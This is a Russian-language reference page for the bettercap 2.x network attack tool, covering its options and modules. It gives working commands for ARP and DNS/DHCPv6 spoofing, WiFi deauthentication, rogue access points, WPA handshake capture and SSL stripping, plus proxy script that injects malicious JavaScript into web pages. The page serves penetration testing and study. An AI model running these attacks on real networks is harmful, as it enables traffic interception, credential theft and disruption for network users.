bettercap
Описание bettercap
Программа bettercap версий 2.x и более поздних является продолжением bettercap предыдущего поколения, которое было остановлено на 1.6.x. Архивная страница, посвящённая ветке 1.6: https://kali.tools/?p=345
Данная страница описывает bettercap 2.x — актуальную в данный момент версию.
bettercap — это универсальная программа для сетевых атак и мониторинга.
Возможности bettercap включают в себя:
- ARP-спуфинг и сниффинг
- мониторинг сети
- мониторинг WiFi и BLE
- выполнение атак в беспроводных сетях
- выполнение атак человек-посередине с поддержкой разнообразных приёмов: обход HTTPS, DNS спуфинг, запуск веб-сервера и прочее
- поддержка caplets — каплетов, файлов, позволяющих описать скриптовым языком сложные и автоматизированные атаки
- работает на Linux, macOS, Windows, Android, ARM
Домашняя страница: https://www.bettercap.org/
Автор: Simone 'evilsocket' Margaritelli*
Лицензия: GPL3
Справка по bettercap
bettercap работает в интерактивном режиме — она поддерживает ввод команд, которые включают/отключают модули, выполняют атаки, выводят информацию. Также имеется несколько опций, которые можно указать при запуске программы.
Базовые аргументы командной строки:
аргумент | описание |
---|---|
-autostart МОДУЛИ
|
Разделённый запятой список модулей для автоматического старта при запуске программы. (по умолчанию это events.stream, net.recon, update.check )
|
-caplet ИМЯ_ФАЙЛА
|
Считать команды из этого файла и выполнить их в интерактивной сессии. |
-eval КОМАНДЫ
|
В интерактивной сессии запустить одну или более команд, разделённых ; - это используется для установки переменных через командную строку.
|
-iface ИНТЕРФЕЙС
|
Сетевой интерфейс для привязки, если не указан, то будет автоматически выбран дефолтный интерфейс (принимаются имя интерфейса, ip или mac-адрес). |
-no-history
|
Отключить файл истории интерактивной сессии ~/.bettercap.history .
|
-no-colors
|
Отключить цветные эффекты вывода. |
-env-file ИМЯ_ФАЙЛА
|
Если найдены, загрузить переменные окружения из этого файла, укажите пустое имя, если хотите отключить дефолтные переменные коружения. (по умолчанию ~/bettercap.env )
|
-cpu-profile ИМЯ_ФАЙЛА
|
Записывать файл профиля cpu (используется для отладки и бенчмаркинга). |
-mem-profile ИМЯ_ФАЙЛА
|
Записывать файл профиля памяти (используется для отладки и бенчмаркинга). |
-silent
|
Подавить все логи, которые не являются ошибками. |
-debug
|
Включить сообщения отладки. |
Если опция -caplet не указана, bettercap будет запущен в интерактивном режиме, позволяющем вам вручную стартовать и останавливать модули, изменять опции и применять на лету новые правила файервола.
Чтобы узнать свои возможности, наберите help и вам будет показано меню общей справки, вы можете получить справку по определённому модулю, используя help имя-модуля (например, попробуйте help net.recon), чтобы увидеть, какие модули запущены и изменять их настройки в любое время, вы можете использовать интерактивные команды.
Чтобы напечатать все переменные и их значения, вы можете использовать get * или get имя-переменной, чтобы получить единичную переменную (попробуйте get gateway.address), чтобы установить новое значение, вы можете выполнить set имя-переменной новое-значение (значение "" очистит содержимое переменное), в типичной сессии переменные выглядят примерно так:
Базовые команды bettercap
Эти базовые команды доступны для выполнения в интерактивном режиме:
команда | описание |
---|---|
help / help МОДУЛЬ
|
Вывести список доступных команд, если имя модуля не указано, или показать справку для определённого модуля. |
active
|
Показать информацию об активных модулях. |
quit / q
|
Закрыть сессию и выйти. |
sleep СЕКУНДЫ
|
Сон на заданное количество секунд. |
get ПЕРЕМЕННАЯ
|
Получить значение ПЕРЕМЕННОЙ , используйте * для всех.
|
set ПЕРЕМЕННАЯ ЗНАЧЕНИЕ
|
Установить значение ПЕРЕМЕННОЙ на ЗНАЧЕНИЕ .
|
read ПЕРЕМЕННАЯ ЗАПРОС
|
Показать ЗАПРОС чтобы спросить пользователя ввести то, что будет сохранено внутри ПЕРЕМЕННОЙ .
|
clear
|
Очистить экран . |
include CAPLET
|
Загрузить и запустить этот caplet (каплет) в текущую сессию. |
!COMMAND
|
Выполнить команду оболочки и напечатать её вывод. |
alias MAC ИМЯ
|
Назначить псевдоним заданной конечной точки указанной по её MAC адресу (будет сохранено в файле и использовано для команды net.show .
|
Руководство по bettercap
Страница man отсутствует.
Каплеты (Caplets)
Каплеты (Caplets) или .cap файлы — это мощный способ записать в скрипт интерактивные сессии bettercap, это как файлы .rc для Metasploit. Актуальные каплеты и модули находятся в этом репозитории, настоятельно рекомендуется ознакомится с концепцией каплетов, чтобы до конца понимать, какие возможности даёт bettercap.
Чтобы скачать все каплеты за раз:
git clone https://github.com/bettercap/caplets
Каплеты можно использовать двумя способами.
Из интерактивной сессии
Каждый раз, когда вы печатаете команду, которая не распознаётся интерактивным сеансом, bettercap будет пытаться загрузить соответствующий файл каплета, например:
> reload arp.spoof
В качестве обычного поведения программы это должно было бы вызвать следующую ошибку, поскольку reload не является знакомой командой:
Unknown or invalid syntax "reload arp.spoof", type help for the help menu.
Давайте попробуем создать файл reload.cap в нашей текущей папке, в нёго запишем следующие строки:
$0 off $0 on
Если мы попробуем вновь выполнить reload arp.spoof, мы увидем, что сеанс больше не печатает снова это же самое сообщение об ошибки, но вместо этого выполняет строки:
arp.spoof off arp.spoof on
Как вы уже поняли, этим способом вы можете задавать пользовательские команды, $0 будет заменён на первый аргумент, $1 на второй и так далее.
Порядок загрузки следующий:
- ./reload.cap
- ./caplets/reload.cap
- Любая папка в переменной окружения $CAPSPATH, если она указана (значения разделяются двоеточием (:) как в $PATH).
Из командной строки
Используя аргумент командной строки -caplet, например:
sudo bettercap -caplet ./example.cap
Этот пример загрузит файл example.cap для текущей папки. Для настройки каплета можно использовать дополнительные параметры, например, следующая строка команды будет спуфить и печатать HTTP запросы для целой сети:
sudo bettercap -caplet path/to/caplets/http-req-dump.cap
Эта будет нацелена на определённый IP, поскольку будет переназначена переменная arp.spoof.targets:
sudo bettercap -caplet path/to/caplets/http-req-dump.cap -eval "set arp.spoof.targets 192.168.1.5"
Модули bettercap
Имеются следующие модули:
- Основные
- events.stream
- ticker
- api.rest
- update.check
- Bluetooth с низким энергопотреблением
- ble.recon / enum / write
- 802.11
- wifi.recon / deauth / ap
- Ethernet и IP
- net.recon
- net.probe
- net.sniff
- syn.scan
- wake on lan
- Спуферы
- arp.spoof
- dhcp6.spoof
- dns.spoof
- Прокси
- packet.proxy
- tcp.proxy
- модули
- http.proxy
- https.proxy
- модули
- Сервера
- http.server
- Утилиты
- mac.changer
- gps
events.stream
Этот модуль включён по умолчанию, он отвечает за информирование о событиях (логи, найдены новые хосты и т. д.) во время интерактивной сессии.
Команды
команда | описание |
---|---|
events.stream on
|
Запустить поток событий. |
events.stream off
|
Остановить поток событий. |
events.show ЛИМИТ?
|
Показать поток событий ( ЛИМИТ - это опциональный параметр ).
|
events.waitfor TAG TIMEOUT?
|
Ожидание события с заданным тегом, либо всегда, либо в течение определённого таймаута в секундах. |
events.ignore ФИЛЬТР
|
События с идентификатором, соответствующим этому фильтру, не будут показаны (используйте несколько раз, чтобы добавить больше фильтров). |
events.include ФИЛЬТР
|
Используется для удаления фильтров, переданных командой events.ignore. |
events.clear
|
Очистить буфер потока событий. |
Параметры
параметр | значение по умолчанию | описание |
---|---|---|
events.stream.output
|
Если не пустой, события будут записаны в этот файл вместо стандартного вывода. |
Примеры
Запустить bettercap без цвета и эффектов в терминали и записывать события в файл ~/bettercap-events.log:
sudo bettercap -no-colors -eval "set events.stream.output ~/bettercap-events.log"
Показывать каждое событие:
> events.show
Показать последние 5 событий, заснуть на одну секунду и очистить буфер:
> events.show 5; sleep 1; events.clear
Начать обнаружение устройств BLE и ожидать, пока хотя бы один замечен:
> ble.recon on; events.waitfor ble.device.new
То же самое, но с таймаутом в 10 секунд:
> ble.recon on; events.waitfor ble.device.new 10
Игнорировать события от WiFi клиентов во время использования одного из модулей wifi:
> events.ignore wifi.client.
Запустить bettercap при этом отключив события net.recon модуля (найдены новые конечные точки, потеряны конечные точки и т. п.) заснуть на одну секунду и затем включить их обратно (используется для подавления начальных сообщений обнаружения):
sudo bettercap -eval "events.ignore endpoint.; sleep 1; events.include endpoint."
ticker
Этот модуль может использоваться для периодического выполнения заданного набора команд в интерактивной сессии.
Команды
команда | описание |
---|---|
ticker on
|
Запустить ticker. |
ticker off
|
Остановить ticker. |
Параметры
параметр | значение по умолчанию | описание |
---|---|---|
ticker.commands
|
clear; net.show
|
Список команд, разделённых ; .
|
ticker.period
|
1
|
Цикл тикера в секундах. |
Примеры
Запустить зондирование хостов, очистить экран и вывести обнаруженные конечные точки каждую секунду (будет использовать дефолтные параметры):
> net.probe on; clear; ticker on
Продолжать деаутентификацию клиентов от точки доступа с BSSID DE:AD:BE:EF:DE:AD каждые пять секунд:
> set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on
api.rest
REST API для скрипта и/или взаимодействия с сеансом.
Команды
команда | описание |
---|---|
api.rest on
|
Запустить REST API сервер. |
api.rest off
|
Запустить REST API сервер. |
Параметры
параметр | значение по умолчанию | описание |
---|---|---|
api.rest.certificate
|
~/.bcap-api.rest.certificate.pem
|
API TLS сертификат (будет сгенерирован автоматически). |
api.rest.key
|
~/.bcap-api.rest.key.pem
|
API TLS ключ. |
api.rest.address
|
<адрес интерфейса>
|
Адрес на который привязать API REST сервер. |
api.rest.port
|
8083
|
Порт для привязки API REST сервера. |
api.rest.username
|
Обязательное имя пользователя для API HTTP basic аутентификации. | |
api.rest.password
|
Обязательный пароль для API HTTP basic аутентификации. | |
api.rest.websocket
|
false
|
Если true маршрут /api/events будет доступен как веб-сокет конечной точки вместо HTTPS.
|
Маршруты
Клиенты могут аутентифицироваться с использованием HTTP basic аутентификацией, это доступные API маршруты.
GET /api/session
Получить JSON состояния текущей сессии, пример ответа:
GET /api/session/ble
Получить JSON устройства BLE в текущей сессии, пример ответа:
опциональные аргументы
- Mac адрес, например GET /api/session/ble/00:AA:BB:CC:DD:33 — вернёт информацию о единичной конечной точке с mac-адресом 00:AA:BB:CC:DD:33 (клиент Adafruit Bluefruit LE из предыдущего вывода).
GET /api/session/env
Получить JSON значений переменных окружения в текущей сессии, пример ответа:
GET /api/session/gateway
Получить JSON шлюза интерфейса текущей сессии, пример ответа:
{ "ipv4": "192.168.1.1", "ipv6": "", "mac": "-", "hostname": "gateway.", "alias": "", "vendor": "Technicolor", "first_seen": "2018-02-23T06:28:43.649440315+01:00", "last_seen": "2018-02-23T06:28:43.649440315+01:00", "meta": { "values": {} } }
GET /api/session/interface
Получить JSON главного интерфейса (wifi/lan) текущей сессии, пример ответа:
{ "ipv4": "192.168.1.17", "ipv6": "-", "mac": "-", "hostname": "enx18fffffff", "alias": "", "vendor": "Dell", "first_seen": "2018-02-23T06:28:43.565053179+01:00", "last_seen": "2018-02-23T06:28:43.565053179+01:00", "meta": { "values": {} } }
GET /api/session/lan
Получить JSON lan устройств текущей сессии, пример ответа:
опциональные аргументы
- Mac-адрес, например GET /api/session/lan/00:AA:BB:CC:DD:11 — вернёт информацию о единичной конечной точке lan с mac-адресом 00:AA:BB:CC:DD:11 (из приведённого выше вывода это pihole).
GET /api/session/options
Получить JSON набора опций текущей сессии, пример ответа:
{ "InterfaceName": "", "Caplet": "../caplets/netmon.cap", "Debug": false, "Silent": false, "NoHistory": false, "Commands": "", "CpuProfile": "", "MemProfile": "" }
GET /api/session/packets
Получить JSON трафика пакетов текущей сессии, пример ответа:
GET /api/session/started-at
Получить JSON времени запуска текущей сессии, пример ответа:
"2018-02-23T06:28:43.650628576+01:00"
GET /api/session/wifi
Получить JSON wifi устройств (клиентов и точек доступа) в текущей сессии, пример ответа:
опциональные аргументы
- Mac-адрес, например GET /api/session/wifi/00:AA:BB:CC:DD:22 — вернёт информацию о единичной конечной точке wifi с mac-адресом 00:AA:BB:CC:DD:22 (из вывода выше это подключённый клиент).
POST /api/session
Отправляет в интерактивную сессию команду методом POST, ожидается, что будет отправлен объект JSON следующего вида:
{"cmd": "net.probe on"}
При этом ответом будет:
{"success": true, "msg":""}
GET /api/events
Возвращает список событий ( опциональный параметр n GET ограничит количество ):
DELETE /api/events
Очистит буфер событий.
update.check
Модуль для проверки обновлений bettercap
Команды
команда | описание |
---|---|
update.check on
|
Проверяет последнюю доступню стабильную версию и сравнивает её с используемой. |
ble
Этот модуль ответственен за обнаружение устройств Bluetooth Low Energy.
Команды
команда | описание |
---|---|
ble.recon on
|
Запустить обнаружение устройств Bluetooth Low Energy. |
ble.recon off
|
Запустить обнаружение устройств Bluetooth Low Energy. |
ble.show
|
Показать обнаруженные устройства Bluetooth Low Energy. |
ble.enum MAC
|
Перечислить службы и характеристики заданного BLE устройства. |
ble.write MAC UUID HEX_DATA
|
Записать HEX_DATA буфер в BLE устройство с указанным MAC -адресом, в характеристики с заданным UUID .
|
Примеры
Подключиться, перечислить и считать характеристики с BLE устройства 04:52:de:ad:be:ef:
> ble.enum 04:52:de:ad:be:ef
Записать байты ff ff ff ff ff ff ff ff to в BLE устройство 04:52:de:ad:be:ef на его характеристики с UUID 234bfbd5e3b34536a3fe723620d4b78d:
> ble.write 04:52:de:ad:be:ef 234bfbd5e3b34536a3fe723620d4b78d ffffffffffffffff
Известные проблемы
- ble.enum только работает один раз на выполнение
- неполная поддержка для macOS
- совсем не поддерживается на Windows.
Wifi
Модули wifi.* работают с WiFi интерфейсом, поддерживающим режим монитора и инъекцию пакетов, они используются для монитора и выполнения беспроводных атак на 802.11.
Команды
команда | описание |
---|---|
wifi.recon on
|
Запустить обнаружение беспроводных 802.11 базовых станций. |
wifi.recon off
|
Остановить обнаружение беспроводных 802.11 базовых станций. |
wifi.recon BSSID
|
Установить фильтр базовых станций 802.11 на. |
wifi.recon clear
|
Удалить фильтр базовых станций 802.11. |
wifi.deauth BSSID
|
Запустить атаку деаутентификации 802.11, если указан BSSID, то будет деаутентифицирован каждый клиент, в противном случае только выбранный клиент. |
wifi.show
|
Показать текущий список беспроводных станций (по умолчанию сортировка по RSSI). |
wifi.recon.channel КАНАЛ
|
Разделённый запятой список каналов, по которым прыгать. |
wifi.recon.channel clear
|
Включить прыгание по всем поддерживаемым каналам. |
wifi.ap
|
Внедрить маяки управления фальшивкой, чтобы создать мошенническую точку доступа ( требует запуска wifi.recon ).
|
Параметры
параметр | значение по умолчанию | описание |
---|---|---|
wifi.hop.period
|
250
|
Если включено прыганье по каналам (пустое значение wifi.recon.channel ), это время в миллисекундах через которое алгоритм будет менять каналы (оно будет удвоено, если оба диапазона частот 2.4 и 5.0 доступны).
|
wifi.source.file
|
Если установлена wifi модуль будет считывать из файла pcap, а не с аппаратного интерфейса. | |
wifi.skip-broken
|
true
|
Если true, dot11 пакеты с некорректной контрольной суммой будут пропущены. |
wifi.ap.ssid
|
FreeWifi
|
SSID фальшивой точки доступа. |
wifi.ap.bssid
|
<random mac>
|
BSSID фальшивой точки доступа. |
wifi.ap.channel
|
1
|
Канал фальшивой точки доступа. |
wifi.ap.encryption
|
true
|
Если true, фальшивая точка доступа будет использовать WPA2, в противном случае результатом будет открытая ТД. |
Примеры
Используя модули ticker и wifi.recon создать WiFi сканер (выполнять переход по каналам на каждой поддерживающейся частоте):
> set ticker.commands "clear; wifi.show"; wifi.recon on; ticker on
Вести разведку только на каналх 1, 2 и 3:
> wifi.recon on; wifi.recon.channel 1,2,3
Деаутентифицировать клиентов от точки доступа с BSSID DE:AD:BE:EF:DE:AD каждые пять секунд:
> set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on
Создание поддельной точки доступа "Banana" с BSSID DE:AD:BE:EF:DE:AD на 5 канале без шифрования:
> set wifi.ap.ssid Banana > set wifi.ap.bssid DE:AD:BE:EF:DE:AD > set wifi.ap.channel 5 > set wifi.ap.encryption false > wifi.recon on; wifi.ap
net.recon
Этот модуль включён по умолчанию, он ответственен за периодическое считывание ARP кэша чтобы мониторить новые хосты в сети.
Команды
команда | описание |
---|---|
net.recon on
|
Запустить обнаружение сетевых хостов. |
net.recon off
|
Остановить обнаружение сетевых хостов. |
net.show
|
Показать список кэша хостов (по умолчанию сортировка по ip). |
net.show by seen
|
Показать список кэша хостов (сортировка по когда виден последний раз). |
net.show by sent
|
Показать список кэша хостов (сортировка по отправленным пакетам). |
net.show by rcvd
|
Показать список кэша хостов (сортировка по полученным пакетам). |
net.probe
Этот модуль продолжает зондирование новых хостов в сети, отправляя фиктивные UDP пакеты каждому возможному IP в подсети.
Команды
команда | описание |
---|---|
net.probe on
|
Запустить зонд. |
net.probe off
|
Остановить зонд. |
Параметры
параметр | значение по умолчанию | описание |
---|---|---|
net.probe.throttle
|
10
|
Если больше, чем 0, пакеты зондирования будут ограничены этим значением в миллисекундах. |
net.sniff
Сниффер сетевых пакетов.
Команды
команда | описание |
---|---|
net.sniff on
|
Запустить сниффер пакетов. |
net.sniff off
|
Остановить сниффер пакетов. |
net.sniff stats
|
Напечатать конфигурацию и статистику сессии снифера пакетов. |
Параметры
параметр | значение по умолчанию | описание |
---|---|---|
net.sniff.output
|
Если установлено, сниффер запишет захваченные пакеты в файл pcap. | |
net.sniff.source
|
Если установлено, сниффер считает этот pcap файл вместо текущего интерфейса. | |
net.sniff.verbose
|
true
|
Если true, каждый захваченных и пропарсенный пакет будет отправлен в поток событий для отображения, в противном случае, там будут только пропарсенные на уровне приложений (sni, http, и т.д.). |
net.sniff.local
|
false
|
Если true, то будут учитываться только пакеты с/на этот компьютер, другие будут пропущены. |
net.sniff.filter
|
not arp
|
BPF фильтр для сниффера. https://biot.com/capstats/bpf.html |
net.sniff.regexp
|
Если установлено, будут рассматриваться только пакеты с полезной нагрузкой, соответствующей регулярному выражению. |
Примеры
Каплет local-sniffer.cap будет сниффить, парсить и печатать все пакеты на локальной машине:
events.clear set net.sniff.verbose false set net.sniff.local true # https://biot.com/capstats/bpf.html # set net.sniff.filter not arp and not udp port 53 net.sniff on
В каплете wpa_handshake.cap сниффер используется для захвата WPA2 рукопожатия в то время как пользователя деаутентифицирует клиентов:
... # Sniff EAPOL frames ( WPA handshakes ) and save them to a pcap file. set net.sniff.verbose true set net.sniff.filter ether proto 0x888e set net.sniff.output wpa.pcap net.sniff on ...
syn.scan
Модуль для выполнения SYN сканирования портов, обнаруженные октрытые порты записываются как tcp-ports в поле meta рядом с информацией о конечных точках (показывается при выполнении net.show).
Команды
команда | описание |
---|---|
syn.scan IP-ДИАПАЗОН НАЧАЛЬНЫЙ-ПОРТ КОНЕЧНЫЙ-ПОРТ?
|
Выполняет syn сканирование портов в отношении IP адреса внутри указанного диапазона портов. |
Примеры
Сканировать порты с 1 по 1000 единичного IP:
> syn.scan 192.168.1.3 1 1000
Сканировать порт 22 нескольких адресов:
> syn.scan 192.168.1.1-50 22
Сканировать порты с 1 по 10000 всей подсети:
> syn.scan 192.168.1.0/24 1 10000
wol
Модуль отправляет широковещательные Wake On LAN пакеты или на определённый MAC.
Команды
команда | описание |
---|---|
wol.eth MAC
|
Отправить WOL как сырой ethernet пакет типа 0x0847 (если MAC не указан, то будет использоваться ff:ff:ff:ff:ff:ff ).
|
wol.udp MAC
|
Отправить WOL как широковещательный IPv4 пакет на UDP порт 9 (если MAC не указан, то будет использоваться ff:ff:ff:ff:ff:ff ).
|
arp.spoof
Этот модуль спуфит выбранные хосты в сети, используя сконструированные ARP пакеты.
Команды
команда | описание |
---|---|
arp.spoof on
|
Запустить ARP спуфер. |
arp.ban on
|
Запустить ARP спуфер в режиме бана, означает, что подключение для цели(ей) не будет работать. |
arp.spoof/ban off
|
Остановить ARP спуфер. |
Параметры
параметр | значение по умолчанию | описание |
---|---|---|
arp.spoof.targets
|
<entire subnet>
|
Разделённый запятой список MAC адресов, IP адресов, диапазонов IP или псевдонимов для спуфинга (список поддерживаемых форматов диапазонов). |
arp.spoof.whitelist
|
Разделённый запятой список MAC адресов, IP адресов, диапазонов IP или псевдонимов для пропуска во время спуфинга. |
Примеры
Бан 192.168.1.6 адреса от сети:
> set arp.spoof.targets 192.168.1.6; arp.ban on
Спуфить 192.168.1.2, 192.168.1.3 и 192.168.1.4:
> set arp.spoof.targets 192.168.1.2-4; arp.spoof on
dhcp6.spoof
Отвечает на DHCPv6 сообщения, обеспечивая жертвы link-local IPv6 адресмами и настраивая атакующий хост в качестве дефолтного DNS сервера (как описано здесь), должен использоваться совместно с модулем dns.spoof.
Команды
команда | описание |
---|---|
dhcp6.spoof on
|
Запустить в фоне DHCPv6 спуфер. |
dhcp6.spoof off
|
Остановить в фоне DHCPv6 спуфер. |
Параметры
параметр | значение по умолчанию | описание |
---|---|---|
dhcp6.spoof.domains
|
microsoft.com, goole.com, facebook.com, apple.com, twitter.com
|
Разделённые запятой значения доменных имён для спуфинга. |
Примеры
Следующий каплет mitm6.cap выполняет полную DHCPv6 атаку против загружаемой машины Windows 10:
# спуфить Microsoft и Google ^_^ set dns.spoof.domains microsoft.com, google.com set dhcp6.spoof.domains microsoft.com, google.com # каждый http запрос на спуфленные хосты будет приходить к нам # дадим им какой-нибудь контент set http.server.path caplets/www # серверные файлы http.server on # перенаправлять DNS запросы путём спуфинга DHCPv6 пакетов dhcp6.spoof on # отправка спуфленных DNS ответов ^_^ dns.spoof on # установить пользовательскую строку запроса для ipv6 set $ {by}{fw}{cidr} {fb}> {env.iface.ipv6} {reset} {bold}» {reset} # очистить буфер событий и экран events.clear clear
dns.spoof
Отвечает на DNS сообщения спуфленными (подменёнными) ответами.
Команды
команда | описание |
---|---|
dns.spoof on
|
Запустить в фоне DNS спуфер. |
dns.spoof off
|
Остановить в фоне DNS спуфер. |
Параметры
параметр | значение по умолчанию | описание |
---|---|---|
dns.spoof.domains
|
*
|
Разделённые запятой значения доменных имён для спуфинга или * для всех.
|
dns.spoof.address
|
<адрес интерфейса>
|
IP адрес, куда указывать в ответах. |
dns.spoof.all
|
false
|
Если true этот модуль будет отвечать на каждый DNS запрос, в противном случае, он будет отвечать только на те, которые нацелены на локальный ПК. |
Примеры
Каждый DNS запрос, пришедший с этого компьютера для домена example.com будет преобразован на адрес 1.2.3.4:
> set dns.spoof.domains example.com; set dns.spoof.address 1.2.3.4; dns.spoof on
packet.proxy
Модуль только для Linux, который полагается на NFQUEUEs чтобы активно фильтровать пакеты, используя нативные плагины Go (плагины для этого модуля могут быть найдены в этом репозитории).
ВАЖНО
Чтобы скомпилировать плагин правильно, его файлы .go должны быть скопированы во внутрь папки bettercap с исходным кодом и скомпилированы там, в противном случае у вас могут возникнуть проблемы компилирования из-за конфликта зависимостей с папкой поставщика.
Команды
команда | описание |
---|---|
packet.proxy on
|
Запустить пакетный прокси на основе NFQUEUE. |
packet.proxy off
|
Остановить пакетный прокси на основе NFQUEUE. |
Параметры
параметр | значение по умолчанию | описание |
---|---|---|
packet.proxy.queue.num
|
0
|
NFQUEUE номер для создания и привязки. |
packet.proxy.chain
|
OUTPUT
|
Название цепи правил iptables. |
packet.proxy.rule
|
Дополнительное правило iptables чтобы сделать очередь более селективной (напр. --destination 8.8.8.8 ).
|
|
packet.proxy.plugin
|
Файл плагина Go для загрузки и вызова для каждого пакета. |
Плагины
Параметр packet.proxy.plugin является обязательным и в него должен быть записан путь разделяемого объекта, собранного как плагин Go и экспортируещий вызов OnPacket примерно так:
package main import ( "github.com/bettercap/bettercap/log" "github.com/chifflier/nfqueue-go/nfqueue" ) func OnPacket(payload *nfqueue.Payload) int { log.Info("We got a packet: %v", payload) // this will accept the packet, use NF_DROP to // drop the packet instead. payload.SetVerdict(nfqueue.NF_ACCEPT) return 0 }
Более сложный пример использования библиотеки gopacket для парсинга и дампа всех слоёв пакета:
package main import ( "github.com/bettercap/bettercap/log" "github.com/chifflier/nfqueue-go/nfqueue" "github.com/google/gopacket" "github.com/google/gopacket/layers" ) func OnPacket(payload *nfqueue.Payload) int { packet := gopacket.NewPacket(payload.Data, layers.LayerTypeIPv4, gopacket.Default) log.Info("%s", packet.Dump()) payload.SetVerdict(nfqueue.NF_ACCEPT) return 0 }
Этот файл test.go может быть скомпилирован примерно так:
go build -buildmode=plugin test.go
После того, как сгенерирован файл test.so, он может использоваться для параметра packet.proxy.plugin.
tcp.proxy
Транспарентный (прозрачный) TCP прокси, с которым можно использовать модули на скриптах javascript. Если использовать вместе со спуфером, то весь TCP трафик на заданный адрес и порт будет перенаправляться на него и, если нужно, он будет автоматически обрабатывать переадресацию портов.
Команды
команда | описание |
---|---|
tcp.proxy on
|
Запуск TCP. |
tcp.proxy off
|
Остановка TCP. |
Параметры
параметр | значение по умолчанию | описание |
---|---|---|
tcp.port
|
443
|
TCP порт для перенаправления когда прокси активирован. |
tcp.address
|
Обязательный удалённый адрес TCP прокси. | |
tcp.proxy.port
|
8443
|
Порт для привязки на TCP прокси. |
tcp.proxy.address
|
<адрес интерфейса>
|
Адрес для привязки на TCP прокси. |
tcp.proxy.script
|
Путь до скрипта модуля прокси. |
tcp.modules
Работа модуля tcp.modules управляется скриптами — javascript файлами, в которых должна быть объявлена по крайней мере одна из следующих функций:
// вызывается когда скрипт загружается function onLoad() { } // вызывается когда данные доступны // возвращает строку для перезаписи "data" function onData(from, to, data) { }
Модули могут изменять буфер данных и возвращать его, сигнализируя модулю о переопределении исходного буфера. Например, каплет tcp-req-dump.cap использует функцию onData для переопределения запросов example.com на порт 80:
function onData(from, to, data) { if( data.indexOf("Accept-Encoding: gzip, deflate") != -1 ) { log("Disabling gzip response"); data = data.replace("Accept-Encoding: gzip, deflate", "Accept-Encoding: text/plain"); return data; } return data.replace(/Example/g, "POPOPOP"); }
Встроенные функции
Модули могут использовать следующие встроенные функции.
функция | описание |
---|---|
readFile("/путь/до/файла")
|
Возвращает содержимое файла как строку. |
log("message")
|
Пишет сообщение в интерактивную сессию (его уровень будет INFO ).
|
env("iface.ipv4")
|
Прочитать переменную. |
env("foo", "bar")
|
Установить переменную. |
http.proxy
Полнофункциональный транспарентный (прозрачный) HTTP прокси, работой которого можно управлять с помощью скриптов, используя модули javascript. Если использовать совместно со спуфером, весь HTTP трафик будет перенаправляться на него и при необходимости он будет автоматически обрабатывать перенаправление портов.
Команды
команда | описание |
---|---|
http.proxy on
|
Запуск HTTP прокси. |
http.proxy off
|
Остановка HTTP прокси. |
Параметры
параметр | значение по умолчанию | описание |
---|---|---|
http.port
|
80
|
HTTP порт для редиректа когда прокси активирован. |
http.proxy.address
|
<адрес интерфейса>
|
Адрес для привязки HTTP прокси. |
http.proxy.port
|
8080
|
Порт для привязки HTTP прокси. |
http.proxy.sslstrip
|
false
|
Включить или отключить снятие SSL. |
http.proxy.script
|
Путь до скрипта модуля прокси. |
https.proxy
Полнофункциональный транспарентный (прозрачный) HTTPS прокси, работой которого можно управлять модулями на javascript, он на лету автоматически генерирует сертификаты. Если используется вместе со спуфером, весь HTTPS будет перенаправляться на него и при необходимости он будет автоматически управлять редиректами портов.
Команды
команда | описание |
---|---|
https.proxy on
|
Запустить HTTPS прокси. |
https.proxy off
|
Остановить HTTPS прокси. |
Параметры
параметр | значение по умолчанию | описание |
---|---|---|
https.port
|
443
|
HTTP порт для редиректа когда прокси активирован. |
https.proxy.address
|
<адрес интерфейса>
|
Адрес для привязки HTTP прокси. |
https.proxy.port
|
8083
|
Порт для привязки HTTP прокси. |
https.proxy.certificate
|
~/.bettercap-ca.cert.pem
|
HTTPS proxy certification authority TLS certificate file. |
https.proxy.key
|
~/.bettercap-ca.key.pem
|
HTTPS proxy certification authority TLS key file. |
https.proxy.sslstrip
|
false
|
Включить или отключить снятие SSL. |
https.proxy.script
|
Путь до скрипта модуля прокси. |
http.modules
Модули http.proxy и https.proxy могут управляться скриптами с использованием javascript файлов, который должны объявлять по крайней мере одну из следующих функций:
// вызывается при загрузке скрипта function onLoad() { } // вызывается когда запрос получен прокси // и перед тем, как он отправлен настоящему серверу. function onRequest(req, res) { } // вызывается когда запрос отправлен настоящему серверу // и получен ответ function onResponse(req, res) { } // вызывается каждый раз, когда в сессию вводится неизвестная команда, // прокси модули опционально могут этим способом обрабатывать пользовательские команды: function onCommand(cmd) { if( cmd == "test" ) { /* * Custom session command logic here. */ // говорим сессии, мы обработали эту команду return true } }
Модули могут изменять объекты req запроса и res ответа, например, каплет web-override.cap использует функцию onRequest чтобы переписать каждый запрос перед его выполнением с фальшивым ответом:
function onRequest(req, res) { res.Status = 200; res.ContentType = "text/html"; res.Body = readFile("caplets/www/index.html"); for (var i = 0; i < res.Headers.length; i++) { res.RemoveHeader(res.Headers[i].Name); } res.SetHeader("Connection", "close"); }
Каплет login-man-abuse.cap использует обработчик onResponse для внедрения вредоносного файла javascript в каждый html ответ:
function onResponse(req, res) { if( res.ContentType.indexOf('text/html') == 0 ){ var body = res.ReadBody(); if( body.indexOf('</head>') != -1 ) { res.Body = body.replace( '</head>', '<script type="text/javascript">' + "\n" + AbuserJavascript + '</script>' + '</head>' ); } } }
Встроенные функции
Модули могут использовать следующие встроенные функции.
функция | описание |
---|---|
readFile("/путь/до/файла")
|
Возвращает содержимое файла как строку. |
writeFile("/путь/до/файла", "hello world")
|
Записывает строку hello world в файл, возвращает null или сообщение об ошибке.
|
log_debug("сообщение")
|
Записать сообщение в интерактивную сессию (его уровень будет DEBUG ).
|
log_info("сообщение")
|
Записать сообщение в интерактивную сессию (его уровень будет INFO ).
|
log_warn("сообщение")
|
Записать сообщение в интерактивную сессию (его уровень будет WARNING ).
|
log_error("сообщение")
|
Записать сообщение в интерактивную сессию (его уровень будет ERROR ).
|
log_fatal("сообщение")
|
Записать сообщение в интерактивную сессию (его уровень будет FATAL ).
|
log("сообщение")
|
Сокращение для log_info("сообщение") .
|
btoa("сообщение")
|
Кодировать сообщение в base64. |
atob("bWVzc2FnZQ==")
|
Декодировать сообщение из base64. |
env("iface.ipv4")
|
Считать переменную. |
env("foo", "bar")
|
Установить переменную. |
http.server
Простой HTTP сервер, работает как другие веб-сервера: по запросу пользователя отдаёт файлы и скрипты.
Команды
команда | описание |
---|---|
http.server on
|
Запуск в фоне HTTP сервера. |
http.server off
|
Остановка в фоне HTTP сервера. |
Параметры
параметр | значение по умолчанию | описание |
---|---|---|
